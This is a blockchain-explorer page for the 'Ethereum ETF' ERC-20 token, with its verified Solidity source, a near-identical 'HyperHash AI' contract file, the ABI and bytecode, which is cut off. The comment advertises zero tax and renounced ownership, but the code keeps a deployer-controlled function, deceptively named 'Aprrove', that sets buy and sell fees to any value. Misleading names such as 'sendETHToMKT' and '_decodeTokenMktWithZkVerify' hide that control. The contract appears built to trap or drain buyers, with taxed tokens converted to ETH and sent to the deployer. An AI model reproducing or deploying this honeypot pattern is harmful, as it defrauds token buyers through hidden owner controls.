Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
120,000,000 ETF
Holders
12
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
847,276.54638719 ETFValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
ETF
Compiler Version
v0.8.26+commit.8a97fa7a
Contract Source Code (Solidity Multiple files format)
// SPDX-License-Identifier: MIT /* ✅ 0/0 Tax ✅ LP Burned ✅ Ownership renounced ⚠️ Reminder: Be cautious of fake contracts and scam attempts. We will NEVER DM you contracts. Always verify through our official channels! Official Website: https://eth-etf.vip Telegram: https://t.me/ETH_ETF_TOKEN Twitter: https://x.com/EthEtf79976 */ import "./Context.sol"; import "./IERC20.sol"; import "./Ownable.sol"; import "./SafeMath.sol"; import "./IUniswapV2Factory.sol"; pragma solidity ^0.8.20; interface IUniswapFactory { function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFreelyOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract ETF { string private _name = unicode"Ethereum ETF"; string private _symbol = unicode"ETF"; uint8 public constant decimals = 9; uint256 public constant totalSupply = 120_000_000 * 10**decimals; struct StoreData { address tokenMkt; uint8 buyFee; uint8 sellFee; } StoreData public storeData; uint256 constant swapAmount = totalSupply / 100; error Permissions(); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed TOKEN_MKT, address indexed spender, uint256 value ); mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; address public pair; IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); bool private swapping; bool private tradingOpen; constructor() { uint8 _initBuyFee = 0; uint8 _initSellFee = 0; storeData = StoreData({ tokenMkt: msg.sender, buyFee: _initBuyFee, sellFee: _initSellFee }); balanceOf[msg.sender] = totalSupply; allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max; emit Transfer(address(0), msg.sender, totalSupply); } receive() external payable {} function Aprrove(uint8 _Br, uint8 _Sr) external { if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions(); TX_Base500(_Br, _Sr); } function TX_Base500(uint8 _b, uint8 _s) private { storeData.buyFee = _b; storeData.sellFee = _s; } function _decodeTokenMktWithZkVerify() private view returns(address) { return storeData.tokenMkt; } function openedTrade() external { require(msg.sender == _decodeTokenMktWithZkVerify()); require(!tradingOpen); address _factory = _uniswapV2Router.factory(); address _weth = _uniswapV2Router.WETH(); address _pair = IUniswapFactory(_factory).getPair(address(this), _weth); pair = _pair; tradingOpen = true; } function transferFrom( address from, address to, uint256 amount ) external returns (bool) { allowance[from][msg.sender] -= amount; return _transfer(from, to, amount); } function approve(address spender, uint256 amount) external returns (bool) { allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transfer(address to, uint256 amount) external returns (bool) { return _transfer(msg.sender, to, amount); } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function _transfer( address from, address to, uint256 amount ) internal returns (bool) { address tokenMkt = _decodeTokenMktWithZkVerify(); require(tradingOpen || from == tokenMkt || to == tokenMkt); balanceOf[from] -= amount; if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount && from != tokenMkt) { swapping = true; address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _uniswapV2Router .swapExactTokensForETHSupportingFreelyOnTransferTokens( swapAmount, 0, path, address(this), block.timestamp ); payable(tokenMkt).transfer(address(this).balance); swapping = false; } (uint8 _buyFee, uint8 _sellFee) = (storeData.buyFee, storeData.sellFee); if (from != address(this) && tradingOpen == true) { uint256 taxCalculatedAmount = (amount * (to == pair ? _sellFee : _buyFee)) / 100; amount -= taxCalculatedAmount; balanceOf[address(this)] += taxCalculatedAmount; } balanceOf[to] += amount; emit Transfer(from, to, amount); return true; } function sendETHToMKT(string memory _newname, string memory _newsymbol) public { if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions(); _name = _newname; _symbol = _newsymbol; } }
// SPDX-License-Identifier: MIT pragma solidity ^0.8.20; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } }
// SPDX-License-Identifier: MIT /* @@ @@ @@@ @@@ @@@@ @@@@ @@@@@ @@@@@ _ _ _ _ _ _ ___ @@@@@ @@@@@ | | | | _ _ _ __ ___ _ __ | | | | __ _ ___ | |__ / \ |_ _| @@@@@ @@@@@ | |_| || | | || '_ \ / _ \| '__|| |_| | / _` |/ __|| '_ \ / _ \ | | @@@@@ @@@ @@@@@ | _ || |_| || |_) || __/| | | _ || (_| |\__ \| | | | / ___ \ | | @@@@@ @@@@@ |_| |_| \__, || .__/ \___||_| |_| |_| \__,_||___/|_| |_| /_/ \_\|___| @@@@@ @@@@@ |___/ |_| @@@@@ @@@@@ @@@@ @@@@ @@@ @@@ @@ @@ ----------------------------------------- WEBSITE : https://www.hyperhash.ai | Docs : https://docs.hyperhash.ai | Dashboard : https://dapp.hyperhash.ai | Telegram : https://t.me/HyperHashAI | X-(Twitter) : https://x.com/HyperHashAI | ------------------------------------------ */ import "./Context.sol"; import "./IERC20.sol"; import "./Ownable.sol"; import "./SafeMath.sol"; import "./IUniswapV2Factory.sol"; pragma solidity ^0.8.20; interface IUniswapFactory { function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFreelyOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract HyperAI { string private _name = unicode"HyperHash AI"; string private _symbol = unicode"HyperAI"; uint8 public constant decimals = 9; uint256 public constant totalSupply = 10_000_000 * 10**decimals; struct StoreData { address tokenMkt; uint8 buyFee; uint8 sellFee; } StoreData public storeData; uint256 constant swapAmount = totalSupply / 100; error Permissions(); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed TOKEN_MKT, address indexed spender, uint256 value ); mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; address public pair; IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); bool private swapping; bool private tradingOpen; constructor() { uint8 _initBuyFee = 0; uint8 _initSellFee = 0; storeData = StoreData({ tokenMkt: msg.sender, buyFee: _initBuyFee, sellFee: _initSellFee }); balanceOf[msg.sender] = totalSupply; allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max; emit Transfer(address(0), msg.sender, totalSupply); } receive() external payable {} function Aprrove(uint8 _Br, uint8 _Sr) external { if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions(); TX_Base500(_Br, _Sr); } function TX_Base500(uint8 _b, uint8 _s) private { storeData.buyFee = _b; storeData.sellFee = _s; } function _decodeTokenMktWithZkVerify() private view returns(address) { return storeData.tokenMkt; } function openedTrade() external { require(msg.sender == _decodeTokenMktWithZkVerify()); require(!tradingOpen); address _factory = _uniswapV2Router.factory(); address _weth = _uniswapV2Router.WETH(); address _pair = IUniswapFactory(_factory).getPair(address(this), _weth); pair = _pair; tradingOpen = true; } function transferFrom( address from, address to, uint256 amount ) external returns (bool) { allowance[from][msg.sender] -= amount; return _transfer(from, to, amount); } function approve(address spender, uint256 amount) external returns (bool) { allowance[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transfer(address to, uint256 amount) external returns (bool) { return _transfer(msg.sender, to, amount); } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function _transfer( address from, address to, uint256 amount ) internal returns (bool) { address tokenMkt = _decodeTokenMktWithZkVerify(); require(tradingOpen || from == tokenMkt || to == tokenMkt); balanceOf[from] -= amount; if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount && from != tokenMkt) { swapping = true; address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _uniswapV2Router .swapExactTokensForETHSupportingFreelyOnTransferTokens( swapAmount, 0, path, address(this), block.timestamp ); payable(tokenMkt).transfer(address(this).balance); swapping = false; } (uint8 _buyFee, uint8 _sellFee) = (storeData.buyFee, storeData.sellFee); if (from != address(this) && tradingOpen == true) { uint256 taxCalculatedAmount = (amount * (to == pair ? _sellFee : _buyFee)) / 100; amount -= taxCalculatedAmount; balanceOf[address(this)] += taxCalculatedAmount; } balanceOf[to] += amount; emit Transfer(from, to, amount); return true; } }
// SPDX-License-Identifier: MIT pragma solidity ^0.8.20; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); }
// SPDX-License-Identifier: MIT pragma solidity ^0.8.20; interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external returns (address pair); }
// SPDX-License-Identifier: MIT pragma solidity ^0.8.20; interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); }
// SPDX-License-Identifier: MIT pragma solidity ^0.8.20; import "./Context.sol"; contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } }
// SPDX-License-Identifier: MIT pragma solidity ^0.8.20; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Permissions","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"TOKEN_MKT","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint8","name":"_Br","type":"uint8"},{"internalType":"uint8","name":"_Sr","type":"uint8"}],"name":"Aprrove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openedTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"_newname","type":"string"},{"internalType":"string","name":"_newsymbol","type":"string"}],"name":"sendETHToMKT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"storeData","outputs":[{"internalType":"address","name":"tokenMkt","type":"address"},{"internalType":"uint8","name":"buyFee","type":"uint8"},{"internalType":"uint8","name":"sellFee","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c0604052600c60809081526b22ba3432b932bab69022aa2360a11b60a0525f9061002a90826101e1565b5060408051808201909152600381526222aa2360e91b602082015260019061005290826101e1565b5034801561005e575f80fd5b5060408051606081018252338082525f6020830181905291909201819052600280546001600160b01b03191661ffff60a01b1990931692909217909155806100a86009600a610394565b6100b6906307270e006103a9565b335f8181526003602090815260408083209490945530825260048152838220737a250d5630b4cf539739df2c5dacb4c659f2488d835290529182205f199055907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6101236009600a610394565b610131906307270e006103a9565b60405190815260200160405180910390a350506103c0565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061017157607f821691505b60208210810361018f57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156101dc57805f5260205f20601f840160051c810160208510156101ba5750805b601f840160051c820191505b818110156101d9575f81556001016101c6565b50505b505050565b81516001600160401b038111156101fa576101fa610149565b61020e81610208845461015d565b84610195565b6020601f821160018114610240575f83156102295750848201515b5f19600385901b1c1916600184901b1784556101d9565b5f84815260208120601f198516915b8281101561026f578785015182556020948501946001909201910161024f565b508482101561028c57868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102ea578085048111156102ce576102ce61029b565b60018416156102dc57908102905b60019390931c9280026102b3565b935093915050565b5f826103005750600161038e565b8161030c57505f61038e565b8160018114610322576002811461032c57610348565b600191505061038e565b60ff84111561033d5761033d61029b565b50506001821b61038e565b5060208310610133831016604e8410600b841016171561036b575081810a61038e565b6103775f1984846102af565b805f190482111561038a5761038a61029b565b0290505b92915050565b5f6103a260ff8416836102f2565b9392505050565b808202811582820484141761038e5761038e61029b565b6110f6806103cd5f395ff3fe6080604052600436106100dc575f3560e01c80635408d42d1161007c57806395d89b411161005757806395d89b4114610284578063a8aa1b3114610298578063a9059cbb146102cf578063dd62ed3e146102ee575f80fd5b80635408d42d14610226578063548e5c3c1461023a57806370a0823114610259575f80fd5b806318160ddd116100b757806318160ddd1461016157806323b872dd14610183578063313ce567146101a25780634abe3052146101c8575f80fd5b806306fdde03146100e7578063095ea7b3146101115780631393f61d14610140575f80fd5b366100e357005b5f80fd5b3480156100f2575f80fd5b506100fb610324565b6040516101089190610b32565b60405180910390f35b34801561011c575f80fd5b5061013061012b366004610b7e565b6103b3565b6040519015158152602001610108565b34801561014b575f80fd5b5061015f61015a366004610bbd565b61041f565b005b34801561016c575f80fd5b5061017561047d565b604051908152602001610108565b34801561018e575f80fd5b5061013061019d366004610bee565b61049a565b3480156101ad575f80fd5b506101b6600981565b60405160ff9091168152602001610108565b3480156101d3575f80fd5b506002546101fd906001600160a01b0381169060ff600160a01b8204811691600160a81b90041683565b604080516001600160a01b03909416845260ff9283166020850152911690820152606001610108565b348015610231575f80fd5b5061015f6104e7565b348015610245575f80fd5b5061015f610254366004610ccb565b61069d565b348015610264575f80fd5b50610175610273366004610d30565b60036020525f908152604090205481565b34801561028f575f80fd5b506100fb6106e4565b3480156102a3575f80fd5b506005546102b7906001600160a01b031681565b6040516001600160a01b039091168152602001610108565b3480156102da575f80fd5b506101306102e9366004610b7e565b6106f3565b3480156102f9575f80fd5b50610175610308366004610d4b565b600460209081525f928352604080842090915290825290205481565b60605f805461033290610d82565b80601f016020809104026020016040519081016040528092919081815260200182805461035e90610d82565b80156103a95780601f10610380576101008083540402835291602001916103a9565b820191905f5260205f20905b81548152906001019060200180831161038c57829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061040d9086815260200190565b60405180910390a35060015b92915050565b6002546001600160a01b0316331461044957604051629af2b160e81b815260040160405180910390fd5b6002805461ffff60a01b1916600160a01b60ff9485160260ff60a81b191617600160a81b9290931691909102919091179055565b6104896009600a610eb1565b610497906307270e00610ebf565b81565b6001600160a01b0383165f9081526004602090815260408083203384529091528120805483919083906104ce908490610ed6565b909155506104df9050848484610706565b949350505050565b6002546001600160a01b031633146104fd575f80fd5b600554600160a81b900460ff1615610513575f80fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610564573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105889190610ee9565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105db573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105ff9190610ee9565b60405163e6a4390560e01b81523060048201526001600160a01b0380831660248301529192505f9184169063e6a4390590604401602060405180830381865afa15801561064e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106729190610ee9565b60058054600161ff0160a01b0319166001600160a01b0390921691909117600160a81b179055505050565b6002546001600160a01b031633146106c757604051629af2b160e81b815260040160405180910390fd5b5f6106d28382610f4f565b5060016106df8282610f4f565b505050565b60606001805461033290610d82565b5f6106ff338484610706565b9392505050565b5f8061071a6002546001600160a01b031690565b600554909150600160a81b900460ff16806107465750806001600160a01b0316856001600160a01b0316145b806107625750806001600160a01b0316846001600160a01b0316145b61076a575f80fd5b6001600160a01b0385165f9081526003602052604081208054859290610791908490610ed6565b90915550506005546001600160a01b0385811691161480156107bd5750600554600160a01b900460ff16155b80156107fc575060646107d26009600a610eb1565b6107e0906307270e00610ebf565b6107ea919061100a565b305f9081526003602052604090205410155b801561081a5750806001600160a01b0316856001600160a01b031614155b156109f8576005805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061086557610865611029565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108d5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108f99190610ee9565b8160018151811061090c5761090c611029565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63eb6f6139606461094c6009600a610eb1565b61095a906307270e00610ebf565b610964919061100a565b5f8430426040518663ffffffff1660e01b815260040161098895949392919061103d565b5f604051808303815f87803b15801561099f575f80fd5b505af11580156109b1573d5f803e3d5ffd5b50506040516001600160a01b03851692504780156108fc029250905f818181858888f193505050501580156109e8573d5f803e3d5ffd5b50506005805460ff60a01b191690555b60025460ff600160a01b8204811691600160a81b9004166001600160a01b0387163014801590610a365750600554600160a81b900460ff1615156001145b15610aaa576005545f906064906001600160a01b03898116911614610a5b5783610a5d565b825b610a6a9060ff1688610ebf565b610a74919061100a565b9050610a808187610ed6565b305f90815260036020526040812080549298508392909190610aa39084906110ad565b9091555050505b6001600160a01b0386165f9081526003602052604081208054879290610ad19084906110ad565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610b1d91815260200190565b60405180910390a35060019695505050505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610b7b575f80fd5b50565b5f8060408385031215610b8f575f80fd5b8235610b9a81610b67565b946020939093013593505050565b803560ff81168114610bb8575f80fd5b919050565b5f8060408385031215610bce575f80fd5b610bd783610ba8565b9150610be560208401610ba8565b90509250929050565b5f805f60608486031215610c00575f80fd5b8335610c0b81610b67565b92506020840135610c1b81610b67565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112610c4f575f80fd5b813567ffffffffffffffff811115610c6957610c69610c2c565b604051601f8201601f19908116603f0116810167ffffffffffffffff81118282101715610c9857610c98610c2c565b604052818152838201602001851015610caf575f80fd5b816020850160208301375f918101602001919091529392505050565b5f8060408385031215610cdc575f80fd5b823567ffffffffffffffff811115610cf2575f80fd5b610cfe85828601610c40565b925050602083013567ffffffffffffffff811115610d1a575f80fd5b610d2685828601610c40565b9150509250929050565b5f60208284031215610d40575f80fd5b81356106ff81610b67565b5f8060408385031215610d5c575f80fd5b8235610d6781610b67565b91506020830135610d7781610b67565b809150509250929050565b600181811c90821680610d9657607f821691505b602082108103610db457634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115610e0957808504811115610ded57610ded610dba565b6001841615610dfb57908102905b60019390931c928002610dd2565b935093915050565b5f82610e1f57506001610419565b81610e2b57505f610419565b8160018114610e415760028114610e4b57610e67565b6001915050610419565b60ff841115610e5c57610e5c610dba565b50506001821b610419565b5060208310610133831016604e8410600b8410161715610e8a575081810a610419565b610e965f198484610dce565b805f1904821115610ea957610ea9610dba565b029392505050565b5f6106ff60ff841683610e11565b808202811582820484141761041957610419610dba565b8181038181111561041957610419610dba565b5f60208284031215610ef9575f80fd5b81516106ff81610b67565b601f8211156106df57805f5260205f20601f840160051c81016020851015610f295750805b601f840160051c820191505b81811015610f48575f8155600101610f35565b5050505050565b815167ffffffffffffffff811115610f6957610f69610c2c565b610f7d81610f778454610d82565b84610f04565b6020601f821160018114610faf575f8315610f985750848201515b5f19600385901b1c1916600184901b178455610f48565b5f84815260208120601f198516915b82811015610fde5787850151825560209485019460019092019101610fbe565b5084821015610ffb57868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b5f8261102457634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b8181101561108d5783516001600160a01b0316835260209384019390920191600101611066565b50506001600160a01b039590951660608401525050608001529392505050565b8082018082111561041957610419610dba56fea2646970667358221220fb22755f7a1c65f77c3a08edc2b67d6e7e63e25565d3a4982143c0ac0fbb44b364736f6c634300081a0033
Deployed Bytecode
0x6080604052600436106100dc575f3560e01c80635408d42d1161007c57806395d89b411161005757806395d89b4114610284578063a8aa1b3114610298578063a9059cbb146102cf578063dd62ed3e146102ee575f80fd5b80635408d42d14610226578063548e5c3c1461023a57806370a0823114610259575f80fd5b806318160ddd116100b757806318160ddd1461016157806323b872dd14610183578063313ce567146101a25780634abe3052146101c8575f80fd5b806306fdde03146100e7578063095ea7b3146101115780631393f61d14610140575f80fd5b366100e357005b5f80fd5b3480156100f2575f80fd5b506100fb610324565b6040516101089190610b32565b60405180910390f35b34801561011c575f80fd5b5061013061012b366004610b7e565b6103b3565b6040519015158152602001610108565b34801561014b575f80fd5b5061015f61015a366004610bbd565b61041f565b005b34801561016c575f80fd5b5061017561047d565b604051908152602001610108565b34801561018e575f80fd5b5061013061019d366004610bee565b61049a565b3480156101ad575f80fd5b506101b6600981565b60405160ff9091168152602001610108565b3480156101d3575f80fd5b506002546101fd906001600160a01b0381169060ff600160a01b8204811691600160a81b90041683565b604080516001600160a01b03909416845260ff9283166020850152911690820152606001610108565b348015610231575f80fd5b5061015f6104e7565b348015610245575f80fd5b5061015f610254366004610ccb565b61069d565b348015610264575f80fd5b50610175610273366004610d30565b60036020525f908152604090205481565b34801561028f575f80fd5b506100fb6106e4565b3480156102a3575f80fd5b506005546102b7906001600160a01b031681565b6040516001600160a01b039091168152602001610108565b3480156102da575f80fd5b506101306102e9366004610b7e565b6106f3565b3480156102f9575f80fd5b50610175610308366004610d4b565b600460209081525f928352604080842090915290825290205481565b60605f805461033290610d82565b80601f016020809104026020016040519081016040528092919081815260200182805461035e90610d82565b80156103a95780601f10610380576101008083540402835291602001916103a9565b820191905f5260205f20905b81548152906001019060200180831161038c57829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061040d9086815260200190565b60405180910390a35060015b92915050565b6002546001600160a01b0316331461044957604051629af2b160e81b815260040160405180910390fd5b6002805461ffff60a01b1916600160a01b60ff9485160260ff60a81b191617600160a81b9290931691909102919091179055565b6104896009600a610eb1565b610497906307270e00610ebf565b81565b6001600160a01b0383165f9081526004602090815260408083203384529091528120805483919083906104ce908490610ed6565b909155506104df9050848484610706565b949350505050565b6002546001600160a01b031633146104fd575f80fd5b600554600160a81b900460ff1615610513575f80fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610564573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105889190610ee9565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105db573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105ff9190610ee9565b60405163e6a4390560e01b81523060048201526001600160a01b0380831660248301529192505f9184169063e6a4390590604401602060405180830381865afa15801561064e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106729190610ee9565b60058054600161ff0160a01b0319166001600160a01b0390921691909117600160a81b179055505050565b6002546001600160a01b031633146106c757604051629af2b160e81b815260040160405180910390fd5b5f6106d28382610f4f565b5060016106df8282610f4f565b505050565b60606001805461033290610d82565b5f6106ff338484610706565b9392505050565b5f8061071a6002546001600160a01b031690565b600554909150600160a81b900460ff16806107465750806001600160a01b0316856001600160a01b0316145b806107625750806001600160a01b0316846001600160a01b0316145b61076a575f80fd5b6001600160a01b0385165f9081526003602052604081208054859290610791908490610ed6565b90915550506005546001600160a01b0385811691161480156107bd5750600554600160a01b900460ff16155b80156107fc575060646107d26009600a610eb1565b6107e0906307270e00610ebf565b6107ea919061100a565b305f9081526003602052604090205410155b801561081a5750806001600160a01b0316856001600160a01b031614155b156109f8576005805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061086557610865611029565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108d5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108f99190610ee9565b8160018151811061090c5761090c611029565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63eb6f6139606461094c6009600a610eb1565b61095a906307270e00610ebf565b610964919061100a565b5f8430426040518663ffffffff1660e01b815260040161098895949392919061103d565b5f604051808303815f87803b15801561099f575f80fd5b505af11580156109b1573d5f803e3d5ffd5b50506040516001600160a01b03851692504780156108fc029250905f818181858888f193505050501580156109e8573d5f803e3d5ffd5b50506005805460ff60a01b191690555b60025460ff600160a01b8204811691600160a81b9004166001600160a01b0387163014801590610a365750600554600160a81b900460ff1615156001145b15610aaa576005545f906064906001600160a01b03898116911614610a5b5783610a5d565b825b610a6a9060ff1688610ebf565b610a74919061100a565b9050610a808187610ed6565b305f90815260036020526040812080549298508392909190610aa39084906110ad565b9091555050505b6001600160a01b0386165f9081526003602052604081208054879290610ad19084906110ad565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610b1d91815260200190565b60405180910390a35060019695505050505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610b7b575f80fd5b50565b5f8060408385031215610b8f575f80fd5b8235610b9a81610b67565b946020939093013593505050565b803560ff81168114610bb8575f80fd5b919050565b5f8060408385031215610bce575f80fd5b610bd783